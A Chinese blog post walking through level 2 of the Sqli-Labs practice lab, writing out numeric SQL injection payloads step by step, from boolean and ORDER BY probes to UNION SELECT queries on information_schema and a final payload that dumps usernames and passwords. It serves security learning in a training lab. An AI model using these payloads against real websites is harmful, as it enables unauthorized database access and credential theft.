打靶Sqli-Labs记录--02关

148 阅读2分钟

一.前置知识

必备知识:SQL注入基础01

自学web安全day07--SQL注入--(基础01)判断注入类型 - 掘金 (juejin.cn)

自学web安全day07--SQL注入--(基础02)获取数据库信息 - 掘金 (juejin.cn)

二.打靶过程

1.判断是否存在SQL注入漏洞

进入靶场

image.png

在URL中输入以下试验点 ?id=1,满足SQL注入的两个关键点

1.用户对输入的内容可控

2.Web应用会把用户提交的数据带到数据库中去执行

image.png

2.判断SQL注入类型

试验点1:?id=1 and 1=1

image.png

试验点2:?id=1 and 1=2

image.png

试验点3:?id=1asd

image.png

综上所述,该注入点类型为数字型注入(无闭合方式,因此无需注释)

3.判断列数

试验点1:?id=1 order by 5

image.png

试验点2:?id=1 order by 3

说明显示的地方有3列,3个字段

image.png

4.获得回显位

先输入:?id=1 union select 1,2,3(因为有3个字段,所以select 3个数字)

说明只显示一条信息(因为id=1为真,只显示了前面的结果,后面union的结果不被显示)

image.png

再输入:?id=-1 union select 1,2,3

说明回显位置在2,3

image.png

5.获得数据库信息

1.获取数据库名

2,3位置分别写入:database()和version()

说明数据库名为security

image.png

2.获取数据库表名

试验点1:?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'

说明该security数据库有emails,referers,uagents,users这四个表

image.png

3.获取数据库列名

试验点1:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users'

可见这里的所有字段 image.png

4.获取用户名和密码

试验点1:?id=-1 union select 1,group_concat(concat_ws('|',username,password)),group_concat(id separator '|') from users

concat_ws可以指明合并的字符串之间的分隔符,但是用多行显示

group_concat可以指明合并的字符串之间的分隔符,但使用一行显示

image.png